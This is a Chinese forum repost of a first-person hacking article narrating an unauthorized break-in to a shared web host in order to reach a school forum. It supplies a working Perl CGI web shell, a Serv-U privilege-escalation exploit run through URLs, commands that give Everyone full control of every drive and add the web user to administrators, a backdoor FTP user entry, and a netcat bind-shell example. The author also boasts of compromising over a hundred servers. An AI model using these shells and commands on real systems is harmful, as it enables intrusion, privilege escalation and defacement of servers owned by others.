找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1853|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
$ p) j, m4 y- w! S本文作者:angel4 R0 v" w' y8 g% W
文章性质:原创
+ {$ w2 M# Q" I2 t# _1 p/ ~发布日期:2004-11-09
  P! g  P: T. K; e7 Q- q注意:
$ o3 Q8 l* e# J. F$ q; R1 p6 S$ k本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
0 [$ Z% E3 k0 b$ H8 ^/ ^/ b7 \' d本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。) ^9 n, C. s3 R5 F* ^

7 i  ^/ W; l" a8 a3 z% F& I  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
" S# z) x0 j4 ?( t- K9 W3 N# R0 d4 G( i3 t
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 + {' D: J7 L9 c% [5 ^# {% @

1 Z  [2 F9 Y1 f5 D6 x  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 0 t% L: H0 x! \/ E# D/ _
; H; h+ F8 o% z6 j- t8 I: y
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 4 C; E- _9 H9 N

/ T  |7 _0 f4 a4 G; x* I- T" h% o6 e& k  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
0 g0 Y' l1 ~7 p- n5 E9 F/ W
8 }8 g& A& Q; t6 ^1 h  Y8 H  没有目的的跳转目录着…… 9 K9 e' u- p8 L2 v& X

# \9 ]2 v1 K1 o7 u* @% c' e0 k  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… + X4 |5 t- e* g" ?/ P' M& G7 L

2 g& @) I. i& w; J) a' h3 B  t4 O) Z  结束了吗?不,我试着 FTP 一下: * _. K* O5 m4 E) X

: ]/ l; q  R7 v' n* r/ a# {Microsoft Windows 2000 [Version 5.00.2195]' S, d, z( L" Z: D
(C) 版权所有 1985-2000 Microsoft Corp. $ G# }5 P( @" y- S! s$ b" x
9 D% e, ]4 ^! W' v7 n7 `$ [
C:\Documents and Settings\Administrator>ftp www.school.com
) i# A1 U7 M) E, z  l$ `3 EConnected to www. school.com. : F( t. V: J: A; v
220 Welcome to FTP Server...
& Y3 a8 {5 u& p9 d  J9 F; c1 A9 lUser (www.bjtrq.com:(none)):
* M! @6 z+ d8 [" v. s) g: O331 User name okay, need password.
6 L9 s* R7 h" [3 U  h6 p  kPassword: 6 v- E& D/ n' `, X9 a7 Z
530 Not logged in. / C6 D# a( D6 v$ r! z4 g6 U: @
Login failed.
4 M7 e+ ^; S( k: f* qftp> bye
' ?3 Q: g2 e  K# b8 K2 A) G221 Goodbye! 8 X) q4 e! _2 V" Z
/ I7 h# y2 g& ]  B
5 i7 |3 K0 ^; x% p5 c. g% o: t
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… . w5 q- b7 B  o. {  R

( x" W% d7 C8 F1 O' Z/ g3 u  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
+ [" @+ g  C0 f  u9 S9 H* H7 F
# V# @: c/ M, I6 w1 R( G" Q1 U0 \Application Data
7 M* ^3 p7 I- j& J0 W4 ^1 P. |Documents( X$ F( Z( F5 l% P$ r
DRM
; d2 m  @2 Q/ `- lFavorites
" d( W# ]# c: J5 J0 K, d# NTemplates9 ^$ I% C/ e8 H, p) O
「开始」菜单
3 K: O0 O1 N  J桌面
$ i3 Q/ T7 M, Z# v* ?
7 B$ W, G9 l  m/ k7 `" j3 o8 s9 N' [, I% p0 ~
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
. C0 u- d2 `" R9 [  l5 `2 K; A2 _+ [: Y7 ^* t
ActiveState ActivePerl 5.8+ |- E+ {1 X/ F
Administrative Tools
1 i( E: G+ Y) LDeerfield.com5 h. K6 `( I, y0 M$ f5 g  r; S
DTemp' n, A% t' |, s, T) l9 D
IPSentry  q( T! q8 T+ J5 a9 x/ V8 o
MBM 5
3 @3 b* Z7 H( Q' w# `) G* a5 F- uNetMeter5 C% b8 u: W8 y
Network ICE
* r8 G( Q% H* Q" J# Z+ APersits Software AspEmail" H  r6 s8 }; W! D! i# u. @  {
Persits Software AspJpeg
% Q6 E4 z3 Q* u* N9 @+ M6 bServ-U FTP Server. i9 x8 G/ T5 _" \! A
Symantec Client Security
" ^) o! L  ~- M! {Windows 优化大师3 O9 h) o  ^' v' i1 k  J4 L$ x/ b7 a
WinRAR
! D' [  m7 _( L2 W7 j1 b8 E启动
/ d: I" A# G* W4 a, S! J管理工具2 i- _$ w, ]3 A* P! E
附件
( ]6 a& B) [& l - u# A; u% J' B, G" C& V# [% T! l
" P) U4 }6 {$ p' U( d* ]- v% \( x
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 , S) B; o4 ?: N) G

2 e/ G% }% G0 \; ^  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
! |+ o0 ~+ A2 N: l2 ?, H% S5 U1 z) J
2 ]. E1 _* o# T  R; U% N" Q- g1 k- IUser281=angel|1|0
; _; t7 i. n5 i+ c' \* Q
8 x# V0 {+ U; z6 q  {9 f# l: `4 l* e, E/ G
  然后加上
& Q0 @# l2 d! O: ?6 f( V5 H) S/ j2 w
[USER=angel|1]
1 _2 u( I0 r' Z* g2 f( c6 G. [  tPassword=ng98F85379EA68DBF97BAADCA99B69B805
  o$ J2 q& F7 B, eHomeDir=D:\websites  M# d" {$ E- b/ C3 Y  m
RelPaths=1$ ], I2 r. g, h: e: I! ^* u, H
TimeOut=6006 T0 W4 k/ t; Z+ u4 e$ t+ B' z: ?
Maintenance=System
* \3 ]% `: d7 b- F5 L; d  lAccess1=D:\websites|RWAMELCDP' d0 U; K/ \; Z4 y
SKEYValues=# F( v( f+ H9 i( i( Y! N
, Y. `, ]6 n( Y4 c
. Q  u* J9 [' j  r6 y2 d
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… 4 Q: K2 s4 D- i
2 f" U6 z) [' ?6 g4 U8 g( G; A2 E
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
3 x# r# {0 p' C" O7 S" @, f% L. T% \6 t' y& o! t
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
$ x6 d3 b9 [1 {$ h# x' m7 ]6 I4 z  N
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
' i2 A; y2 ~6 ]) j( e4 }# ~. m) W7 s
+ Z; B. Y7 k4 p1 C) y#!/usr/bin/perl7 V; d* c! W. j, j2 R* j9 H8 w
binmode(STDOUT);6 l! B" D# c* W% x6 K% N
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);0 Z% C, d' }2 }: k
$_ = $ENV{QUERY_STRING};
8 N+ @# w- j: R& W8 N6 ]& J4 Os/%20/ /ig;0 o8 [* G$ p1 c8 \, v* r' h
s/%2f/\//ig;, }$ w3 [: ~+ }
$execthis = $_;, K' V2 p! l0 m0 {
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
% t* [( H+ i2 O5 i' m! Q0 kopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";; O7 I: |: P) R. t8 |
system($execthis);
: K8 y: ?( C( E' M' Xsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
, M4 P  E# j9 E: ~close(STDERR);
7 v8 c" A( K. O& s1 \5 x$ Q2 Iclose(STDOUT);
  \) ^+ V5 S  {; |exit;
! C8 Y2 O: E, }  [. m 6 d' ]* r5 _8 d

9 J- ]% a; a8 p  U4 r  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 3 S, O0 {6 b4 ?

$ V" N' }6 P9 I  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: 4 I% e( P2 B+ i: z

7 W% L4 \7 a) s, A+ F3 }http://anyhost//cmd.pl?d:\user\bin\su.exe
" e# w8 [! m1 D- b# P. o6 N
0 N% _. L; z& b6 L4 a0 J/ {4 G( r9 M
  返回:
- r; t( [9 [9 _% R
3 m9 F$ o. d, ?% YServ-u >3.x Local Exploit by xiaolu $ e4 K* T. p# V3 U* [' l. u
# \$ A% a7 X( Q) L0 r  F) G" p
USAGE: serv-u.exe "command" ( K: H7 n# b* n; P
. B0 d" E% y$ F7 D# W9 _) Z
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" ! ]1 L; V0 q2 n% h0 v

; B: [9 x- n+ e
2 _6 [+ y' @7 j2 N  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: ' E7 h2 i. y1 A/ d
1 K' \. O  V1 N' f; J
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
* u) K* c7 t- L1 s' T  z& i) h7 y" i; P% L3 R; W& A
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 0 a. J1 |8 S) K- X$ A. d

( m, e/ C/ Y5 d( W( _http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
( h7 l* p2 p( b3 c( Z5 r1 y$ `
8 Y) q% T* @5 ]http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" - b% L8 f+ h2 d

6 b+ \: e# }' K
: y/ F& D# m: ]0 I6 d% o  返回下面的信息,就表示成功了!!! . e. q- k5 P5 l2 U4 {

4 i2 g- q# |; u9 n* qServ-u >3.x Local Exploit by xiaolu
$ x% |7 S3 T0 G/ w; x; Q  i2 A2 b) c* o5 |& S8 A; P0 H
<220 Serv-U FTP Server v5.2 for WinSock ready... 1 a0 `- g% G# E6 v6 x9 R5 U6 ~! q
* q" [& B- o9 t" @" h+ R, Q
>USER LocalAdministrator
# B% y! W# r; L0 {
0 r) b* _  N3 _! r: z% n<331 User name okay, need password.
- j% O5 E9 T+ y% G  V( I
% A1 X, k9 I4 i. t******************************************************
  n/ w# @: {3 M% y+ Y
" b8 W- X# I' @! G* s1 r) v>PASS #l@$ak#.lk;0@P
9 Z4 F  h1 p; b* L
2 Z) c0 Y- @5 A. O+ ~: M2 M" r1 b<230 User logged in, proceed.
9 |' v- M/ H' y% l
! u- _" v" s0 t8 z3 K" {' b6 q' @; J******************************************************
/ @& _2 }+ _* _9 [' ?* i5 a; T1 e0 u. I' W
>SITE MAINTENANCE
/ {) y0 v  r5 \" r) g5 q( V( `8 u( K4 v' t! O
******************************************************
; W9 R& O3 y9 D
- L7 V! Q  W, {[+] Creating New Domain... # O9 T( ~* r* y7 m. p4 b+ _

7 d+ y! W% u/ Y; H7 ]' ?2 |<200-DomainID=2
6 s$ E" `. U: |0 u
9 c/ U- v) i% R% p2 v7 Y7 G$ D<220 Domain settings saved ( u; B6 h- f/ J; B9 r9 r5 |4 I
, d  X% c% M" O8 a, P$ \
****************************************************** # n, i2 }% P- _: |

& K! k) x. n9 X[+] Domain xl:2 Created   L# j. s5 a9 q$ U6 C3 O  c

' R5 g# d5 f' {: o* x[+] Creating Evil User
9 M4 `! E' T9 Z3 {7 I0 p: H  O" f$ N; O: ?' V; U- y  ]
<200-User=xl
4 R; L  c3 F% ?$ ~1 K! }0 g' F* u3 ^+ L0 ]
200 User settings saved 3 w4 q9 C% X5 I( q) C
/ B! i6 I7 p' }2 |; c
****************************************************** 2 w) G; X/ G; [# @/ @2 Q
" p, N9 }' M* i" K' a3 y, g
[+] Now Exploiting...
9 m- p0 n6 W0 D8 N! `' }
* y5 K5 [. e6 B8 b1 j>USER xl
" `" r, J" C9 ?) y: ^
6 {) E' t6 _: g, `<331 User name okay, need password. $ q" G+ k) A0 x5 C4 i% l0 f) p  H

  U+ Q" s/ o, u% u, q7 Q******************************************************
) f& j0 C/ ~  Z# R+ N
# U' ?$ F  p4 t7 i, `>PASS 111111
6 H3 g' d6 H: U7 W) @  B' M; ]
- u: B* S' |7 U6 K<230 User logged in, proceed.
7 X% |6 h4 E5 G1 L6 _0 C& O1 T; B* ~& K5 A6 e; k8 j
****************************************************** ( j; @- L% W! O

2 [3 ?3 ?, N: [7 y: w3 ^[+] Now Executing: cacls.exe c: /E /T /G everyone:F
2 r& c* s3 v5 l+ h6 l, p
' h* o7 c" ?- A7 N" ^7 L<220 Domain deleted
4 b9 _' f1 A; k* [; Q) k
# u2 T9 D$ S! x****************************************************** . ?1 h+ k" W! V/ v

& K7 r7 v; ~1 Z& z$ p5 Q- c) x7 X3 U' J$ x! Z( }
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: ! U/ J) t6 T5 E4 {7 u

5 p! K2 b+ a, _) g5 chttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
- t0 E. @4 U/ ~# e8 a 6 t. m5 N' a7 T0 `# Q9 \7 ~) f
0 W5 w% G: c( M! Q  s: K, D( J
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 * b+ m7 I( y5 b& i' w1 R
2 Q( E/ H; U, A+ a6 P& D
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。9 S5 g: C5 Y1 E8 `, R3 s2 U: k. p8 G
# Y4 `* Y' n( I3 Y$ R
  
: }% d- H, M( Z- A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表